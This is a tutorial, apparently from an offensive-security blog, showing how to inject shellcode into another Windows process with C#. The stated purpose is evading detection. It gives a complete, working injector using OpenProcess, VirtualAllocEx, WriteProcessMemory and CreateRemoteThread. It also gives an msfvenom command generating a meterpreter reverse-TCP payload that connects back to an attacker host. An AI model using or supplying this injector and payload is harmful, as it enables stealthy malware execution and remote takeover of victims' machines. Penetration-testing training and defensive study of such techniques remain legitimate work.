Process Injection

Process Injection allows running code within the address space of another application. This is useful to evade detection.

The example code is written in C#. Because the API’s required reside inside an unmanaged DLL (kernel32.dll) the System.Runtime.InteropServices namespace will be needed to call these functions.

To perform process injection, the following steps need to be taken;

  1. Get a handle to the target process. GetProcessesByName will work for this purpose.
  2. Open the target process using OpenProcess.
  3. Call VirtualAllocEx to allocate memory within the target process.
  4. Use WriteProcessMemory to copy our malicious code to the target.
  5. Finally, call CreateRemoteThread to execute the code.

First, we need to start by importing the PInvoke method signatures. This information can be found on the PInvoke website.

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, 
int processId);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, 
uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, 
byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, 
uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

1. Getting a handle to the process

Get a handle to the notepad.exe process we will be injecting into:

            Process[] expProc = Process.GetProcessesByName("notepad");
            int pid = expProc[0].Id;
            Console.WriteLine("PID");
            Console.WriteLine(pid.ToString());

2. Open the target process

Based on the PInvoke documentation, the flag 0x001F0FFF provides complete access to the target process;

    public enum ProcessAccessFlags : uint
    {
        All = 0x001F0FFF,
        Terminate = 0x00000001,
        CreateThread = 0x00000002,
        VirtualMemoryOperation = 0x00000008,
        VirtualMemoryRead = 0x00000010,
        VirtualMemoryWrite = 0x00000020,
        DuplicateHandle = 0x00000040,
        CreateProcess = 0x000000080,
        SetQuota = 0x00000100,
        SetInformation = 0x00000200,
        QueryInformation = 0x00000400,
        QueryLimitedInformation = 0x00001000,
        Synchronize = 0x00100000
    }

We call the function requesting all access rights, with the PID of the process we aim to inject into;

        IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);

3. Call VirtualAllocEx

Based on the handle received by OpenProcess, we call VirtualAllocEx.

The method signature is as follows;

LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess,
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);

Checking the Microsoft documentation, we need to populate the following parameters;

hProcess Our process handle retrieved from OpenProcess.

lpAddress If lpAddress is set to zero the function will choose a region of memory to allocate.

dwSize The amount of memory to allocate.

flAllocationType This parameter defines the type of memory allocation. From the documentation;

To reserve and commit pages in one step, call VirtualAlloc with MEM_COMMIT | MEM_RESERVE.

Since MEM_COMMIT = 0x00001000, and MEM_RESERVE 0x00002000, we need to set this to 0x00003000.

flProtect We want to configure this to PAGE_EXECUTE_READWRITE. This is defined as 0x40.

Putting it all together, we have the following parameters;

            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);

4. Call WriteProcessMemory

Method signature;

BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,           
  [in]  LPVOID  lpBaseAddress, 
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);

hProcess This is our process handle from OpenProcess.
lpBaseAddress will be set to our addr pointer.
lpBuffer points to our source shellcode store in the buf variable.
nSize is the size of our shellcode.
outSize is a destination pointer address to show the number of bytes written.

We will set the parameters as below;

            WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);

5. Call CreateRemoteThread

HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);

hProcess Our process handle.
lpThreadAttributes If set to NULL, the thread gets a default security descriptor.
dwStackSize If this parameter is 0 (zero), the new thread uses the default size for the executable.
lpStartAddress The address of the buffer we allocated with VirtualAllocEx.
lpParameter A pointer to variables been passed to the thread function (we can set to NULL).
dwCreationFlags Allows creating the thread in a suspended state. We don’t need it, so set to zero.
lpThreadId A pointer to a variable that receives the thread identifier. Also not needed, so set to NULL.

            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

Putting it All Together

We just need to generate some shellcode to inject;

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=x.x.x.x lport=8443 exitfunc=thread -f csharp

Process Injection Code

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace ProcessInjection
{
    internal class Program
    {

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);


        static void Main(string[] args)
        {
            //msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=x.x.x.x lport=8443 exitfunc=thread -f csharp
            byte[] buf = new byte[511] { 0xfc,0x48,0x83,0xe4,0xf0 *SNIP* };

            // Get the target PID to inject into
            int pid = 0;
            try
            {
                Process[] expProc = Process.GetProcessesByName("notepad");
                pid = expProc[0].Id;
                Console.WriteLine("Target PID: " + pid.ToString());
            }
            catch (Exception ex)
            { 
                Console.WriteLine("Error finding target PID: " + ex.ToString());
                Environment.Exit(0);
            }

            //Inject!
            try
            {
                IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
                IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
                IntPtr outSize;
                WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);
                IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            }
            catch (Exception ex)
            {
                Console.WriteLine("Error creating remote thread: " + ex.ToString());
            }
            Console.ReadLine();
        }
    }
}